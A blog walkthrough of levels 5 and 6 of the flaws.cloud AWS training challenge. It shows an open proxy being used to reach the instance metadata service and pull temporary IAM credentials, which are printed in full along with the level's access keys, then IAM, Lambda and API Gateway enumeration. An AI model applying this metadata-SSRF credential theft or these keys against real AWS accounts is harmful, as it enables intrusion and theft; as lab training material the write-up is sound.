Post

Penetration Testing on AWS - Part Four - Flaws.Cloud Walkthrough

Part of a Series on AWS Penetration Testing

This post is the first part of a series that will cover more advanced aspects of penetration testing on AWS. Stay tuned for upcoming parts that will delve deeper into specific testing strategies and tools.

PartTopicLink
Part 1Penetration Testing on AWS - Part OneRead Now
Part 2Penetration Testing on AWS - Part Two: Flaws.Cloud WalkthroughRead Now
Part 3Penetration Testing on AWS - Part Three: Flaws.Cloud WalkthroughRead Now
Part 4Penetration Testing on AWS - Part Four: Flaws.Cloud WalkthroughRead Now

Introduction

Welcome to the next installment of our AWS Penetration Testing series! In the previous part, we successfully tackled Levels 3 and 4 of the Flaws.cloud CTF challenge, where we explored snapshot misconfigurations, created EC2 volumes, and mounted snapshots to uncover hidden data. Building on these skills, this post will cover Levels 5 and 6, where the challenges escalate further. We will dive into proxy misconfigurations, instance metadata exploitation, and API Gateway enumeration, all of which require a solid understanding of AWS services and how misconfigurations can expose sensitive information. Let’s continue this journey and uncover more AWS security pitfalls!

Challenge Overview

This challenge comprises a series of levels, six levels to be exact, designed to teach some common mistakes made when using Amazon Web Services (AWS) including IAM, EC2, S3, and more, and how to exploit them. A series of hints are provided to assist in teaching how to discover the information needed to pass each challenge.

Disclaimer:

I recommend everyone attempt this challenge themselves before reading through this article to test their own skills and capabilities.

Level 5

For level 5 we are told that there is an EC2 instance with a HTTP proxy in front of it and gives us some usage links. Let’s start by checking out those links and see what can be found.

So it seems like the structure to use the proxy is:

URL/proxy/2ndURL

In the given URLs this looks like it just redirects us. In cloud environments like AWS, GCP, Azure etc, there is an IP that instances can view for metadata. If someone can see this data then they can find interesting information. This is known as the magic address and is 169.254.169.254. This is the same across all major providers as far as I know and has been the target for very prolific attacks such as CapitalOne breach. We can’t reach the magic address from where we are normally, only things within the cloud environment can see it. However, since the EC2 instance is proxying our traffic, we can get that to hit the magic address for us.

So lets go to the following URL and see if we can view metadata: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
        ami-id
        ami-launch-index
        ami-manifest-path
        block-device-mapping/
        hostname
        iam/
        instance-action
        instance-id
        instance-type
        local-hostname
        local-ipv4
        mac
        metrics/
        network/
        placement/
        profile
        public-hostname
        public-ipv4
        public-keys/
        reservation-id
        security-groups
        services/

We see some timestamps so lets look through the directories.

After looking around a bit, I decided to check out the latest metadata set and ended up finding credentials within an IAM folder!

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

1
2
3
4
5
6
7
8
9
{
  "Code" : "Success",
  "LastUpdated" : "2024-12-17T08:58:49Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG7PSQG2CKCLETU",
  "SecretAccessKey" : "wNfedwbMQHFPmV0z/jAMJHhTd5jVwX7OZ/T2VHEw",
  "Token" : "IQoJb3JpZ2luX2VjEHkaCXVzLXdlc3QtMiJGMEQCIFkvg0L7BLDzo2Pri0tiClSDQnb7yA6jdTALSJzECcBvAiA/o3peR1AwbE6r2e9zBJJew3LNyDUuBIyeNCrx9sfSFCqyBQhCEAQaDDk3NTQyNjI2MjAyOSIMEKIFLyOpjoltVx2FKo8FmEnYk3OdT2m9H8DZJ9aW/yBZfhdM70pViMCuca0mvcDtDGtPInvZSqbK1Ap5fcUHSsDxtbHXLqXSA7qhD6vVzHJS/VN5u+9eQTc53tzzcdaJP8+HBho1ulDAqvG8laq7WdN2o6WByPVGMxrxiNtju19Ya07a3l0swXJTaNS3OwmOUsKa5sx0vY5je4l7iYDrebHqQjxeXxHzKy3+BAnP4jPfxiunuGVYyIZzUDDK+zW87kk53uUH4uLGZDHHFP0dN/+AnCk/6AQxrIoII+tUWLuIQN7YeiNAYhDhfsSAsV2Tu0JTsG/CqNgrDfkHT4pbftTp9lFVXsGC/ZfbGh74zFLrFi2WGe3AJ5dGvBCeobpGh91py5Wxq9GHiORxGUIejAeITrvCiH6b2sl+Rr6YVE2RnOJPuowYemZ3LNk9P8N5aki6p1GhrufJc6Pa00nkaMsekhoEzQpo2NK4+nrGK9ItJW9lR8bgl8ym6+cFlEJxM1Exzz5SSTTiGVfhUc1zEpZbcyKcv/VaLbAnjjC1R/S2Z+b4i60F99k3Ylw0kBTdJl+vCS6E/egORmNtZ4K99CvvjJXhLSCQGa43a8UaCvvTrN3i2PjornvTInlzzLXBfd9mFKFli9dKL2/mfpUxMqZSsSb/huBbh6mz/DJ536ds7u1RceANvaakbHAlQF/PqKC446pgfskJ5kyjpm6/8pp3deH3zXryoKrGbrI+Nk16o+RV/8RVOua6nMdUezPfcgMQaxBX+5ctHBNtC2GJyQsga4ebxGtaAqzikPh1Ji94kqDlXc+4Nhz5jQrdxscoA0ZvusZ20UJ5BlMiAZSK1SjWm6WK186W1wS14ZrRnnjJLUMYK5SVr0WLUL1D8TDN+oS7BjqyAbhobpH9B6nIrpuMh4VP5z0PupnjzA12JBHI2Fa8bUQPEHZKW4weOz7e8inxWA+qk0GY7SfnshKkpihqVbA77X8RvO2kh2ToaFjVKlIpKSozVxgp2mTcEf5MJfFqdEOQISBrPV2J74t5MM+tWuy69IXKbBVRBgr2lO3CHpdcHXKUw8QXCl7iElX3GK3IaHUBFfWSA4wK399yVdZbqBwbmN+j/9n80P4Pum2hI6Em8hg00WE=",
  "Expiration" : "2024-12-17T15:28:08Z"
}

Now this role has a token as well, so we can’t use the usual aws configure command as it doesn’t ask us for a token. So we may need to manually put this in our profile configuration file.

The credential file is stored at ~/.aws/credentials. Lets open that up and put the new role inside, following the format of the other profiles we have put in with aws configure. Don’t overwrite those.

1
2
3
aws_access_key_id = ASIA6GG7PSQG2CKCLETU
aws_secret_access_key = wNfedwbMQHFPmV0z/jAMJHhTd5jVwX7OZ/T2VHEw
aws_session_token = IQoJb3JpZ2luX2VjEHkaCXVzLXdlc3QtMiJGMEQCIFkvg0L7BLDzo2Pri0tiClSDQnb7yA6jdTALSJzECcBvAiA/o3peR1AwbE6r2e9zBJJew3LNyDUuBIyeNCrx9sfSFCqyBQhCEAQaDDk3NTQyNjI2MjAyOSIMEKIFLyOpjoltVx2FKo8FmEnYk3OdT2m9H8DZJ9aW/yBZfhdM70pViMCuca0mvcDtDGtPInvZSqbK1Ap5fcUHSsDxtbHXLqXSA7qhD6vVzHJS/VN5u+9eQTc53tzzcdaJP8+HBho1ulDAqvG8laq7WdN2o6WByPVGMxrxiNtju19Ya07a3l0swXJTaNS3OwmOUsKa5sx0vY5je4l7iYDrebHqQjxeXxHzKy3+BAnP4jPfxiunuGVYyIZzUDDK+zW87kk53uUH4uLGZDHHFP0dN/+AnCk/6AQxrIoII+tUWLuIQN7YeiNAYhDhfsSAsV2Tu0JTsG/CqNgrDfkHT4pbftTp9lFVXsGC/ZfbGh74zFLrFi2WGe3AJ5dGvBCeobpGh91py5Wxq9GHiORxGUIejAeITrvCiH6b2sl+Rr6YVE2RnOJPuowYemZ3LNk9P8N5aki6p1GhrufJc6Pa00nkaMsekhoEzQpo2NK4+nrGK9ItJW9lR8bgl8ym6+cFlEJxM1Exzz5SSTTiGVfhUc1zEpZbcyKcv/VaLbAnjjC1R/S2Z+b4i60F99k3Ylw0kBTdJl+vCS6E/egORmNtZ4K99CvvjJXhLSCQGa43a8UaCvvTrN3i2PjornvTInlzzLXBfd9mFKFli9dKL2/mfpUxMqZSsSb/huBbh6mz/DJ536ds7u1RceANvaakbHAlQF/PqKC446pgfskJ5kyjpm6/8pp3deH3zXryoKrGbrI+Nk16o+RV/8RVOua6nMdUezPfcgMQaxBX+5ctHBNtC2GJyQsga4ebxGtaAqzikPh1Ji94kqDlXc+4Nhz5jQrdxscoA0ZvusZ20UJ5BlMiAZSK1SjWm6WK186W1wS14ZrRnnjJLUMYK5SVr0WLUL1D8TDN+oS7BjqyAbhobpH9B6nIrpuMh4VP5z0PupnjzA12JBHI2Fa8bUQPEHZKW4weOz7e8inxWA+qk0GY7SfnshKkpihqVbA77X8RvO2kh2ToaFjVKlIpKSozVxgp2mTcEf5MJfFqdEOQISBrPV2J74t5MM+tWuy69IXKbBVRBgr2lO3CHpdcHXKUw8QXCl7iElX3GK3IaHUBFfWSA4wK399yVdZbqBwbmN+j/9n80P4Pum2hI6Em8hg00WE=

Now you should be able to do simple commands with this profile such as aws sts get-caller-identity --profile flaws.cloud5.

1
2
3
4
5
{
    "UserId": "AROAI3DXO3QJ4JAWIIQ5S:i-05bef8a081f307783",
    "Account": "975426262029",
    "Arn": "arn:aws:sts::975426262029:assumed-role/flaws/i-05bef8a081f307783"
}

On the level 5 page, we see that we need to list the contents of the Level 6 bucket, so lets do that with the new profile.

aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flaws.cloud5

1
2
                           PRE ddcc78ff/
2017-02-26 21:11:07        871 index.html

We can see there a directory of ddcc78ff, so lets go to the following URL http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

1
2
3
4
5
6
7
8
9
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_ 
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|

# flAWS - Level 6

We are now at level 6!!

Level 6

For this _final challenge, you’re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account. Access key ID: AKIAJFQ6E7BY57Q3OBGA Secret: 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

First lets load the creds for use in the AWS CLI

1
2
3
4
5
aws configure --profile flaws.cloud6
AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: 

Lets do a simple command first as always:

1
2
3
4
5
6
aws sts get-caller-identity --profile flaws.cloud6                                 
{
    "UserId": "AIDAIRMDOSCWGLCDWOG6A",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/Level6"
}   

Now lets enumerate some things about the user!

aws sts get-caller-identity --profile flaws.cloud6 This gets us the ARN which we may need later on.

aws iam list-users --profile flaws.cloud6 Didn’t show much, but looks like potentially there is a backup user.

aws iam get-user --profile flaws.cloud6 Didn’t show much, but is another way to list our ARN.

aws iam list-access-keys --profile flaws.cloud6 Didn’t show anything useful for this challenge.

aws iam list-groups --profile flaws.cloud6 Our user isn’t part of a group.

aws iam list-policies --profile flaws.cloud6 This lists some interesting policies for us!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
{
    "Policies": [
        {
            "PolicyName": "AWSLambdaBasicExecutionRole-62b89591-1aa4-4855-94d4-40cdef59ec5b",
            "PolicyId": "ANPAIR7UX5VQJTOE7FVMG",
            "Arn": "arn:aws:iam::975426262029:policy/service-role/AWSLambdaBasicExecutionRole-62b89591-1aa4-4855-94d4-40cdef59ec5b",
            "Path": "/service-role/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 0,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2017-02-19T20:58:46+00:00",
            "UpdateDate": "2017-02-19T20:58:46+00:00"
        },
        {
            "PolicyName": "list_apigateways",
            "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
            "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
            "Path": "/",
            "DefaultVersionId": "v4",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2017-02-20T01:45:17+00:00",
            "UpdateDate": "2017-02-20T01:48:17+00:00"
        },
        {
            "PolicyName": "MySecurityAudit",
            "PolicyId": "ANPAJCK5AS3ZZEILYYVC6",
            "Arn": "arn:aws:iam::975426262029:policy/MySecurityAudit",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2019-03-03T16:42:45+00:00",
            "UpdateDate": "2019-03-03T16:42:45+00:00"
        },
        <snip>

We can see some Lambda execution policies, so lets try look around from some Lambda functions. Lambda functions are like APIs and can be used in serverless web applications that are essentially just groups of functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
aws lambda list-functions --profile flaws.cloud6
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/Level6"
            }
        }
    ]
}

We can now see a function called Level6. Looks promising! Lets dig in a bit.

aws lambda get-policy --function-name Level6 --profile flaws.cloud6

1
2
3
4
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
    "RevisionId": "edaca849-06fb-4495-a09c-3bc6115d3b87"
}

We can see some API information here for the function. We can also see the following string "arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\". This looks like we can launch a GET request through the API to hit level 6. We just need to build the URL.

s33ppypa75 corresponds to an API gateway, so we can query a bit more information about that with aws apigateway get-stages --rest-api-id s33ppypa75 --profile flaws.cloud6.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": "2017-02-26T19:26:08-05:00",
            "lastUpdatedDate": "2017-02-26T19:26:08-05:00"
        }
    ]
}

This gives us the stagename Prod.

Looking at AWS documentation for Lambda APIs, it looks like we may be able to use a URL like https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6/

This is with the URL format of: https://[apigateway].execute-api.[region].amazonaws.com/[stagename]/[functionname]. This seems to be the standard convention for calling Lambda functions.

When we run this in the browser we are given another link so lets follow that.

1
Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/
1
2
3
4
5
6
7
8
9
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_ 
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|

# flAWS - The End

We are done!! We now also see that there is a flaws2 available and I will do a walkthrough for that soon!

Conclusion

I have successfully completed the flaws.cloud challenge, which provided valuable insights into AWS misconfigurations and cloud security vulnerabilities. This was a great opportunity to sharpen my AWS pentesting skills and better understand how attackers exploit cloud infrastructure. At some point later, I’ll take on flaws.cloud Part 2, where I expect even more complex challenges and valuable learning opportunities, though I’m not sure exactly when that will be.

I’ll continue this AWS pentesting series and share my progress and findings along the way. Stay tuned for more updates as I explore and uncover new cloud security concepts!

This post is licensed under CC BY 4.0 by the author.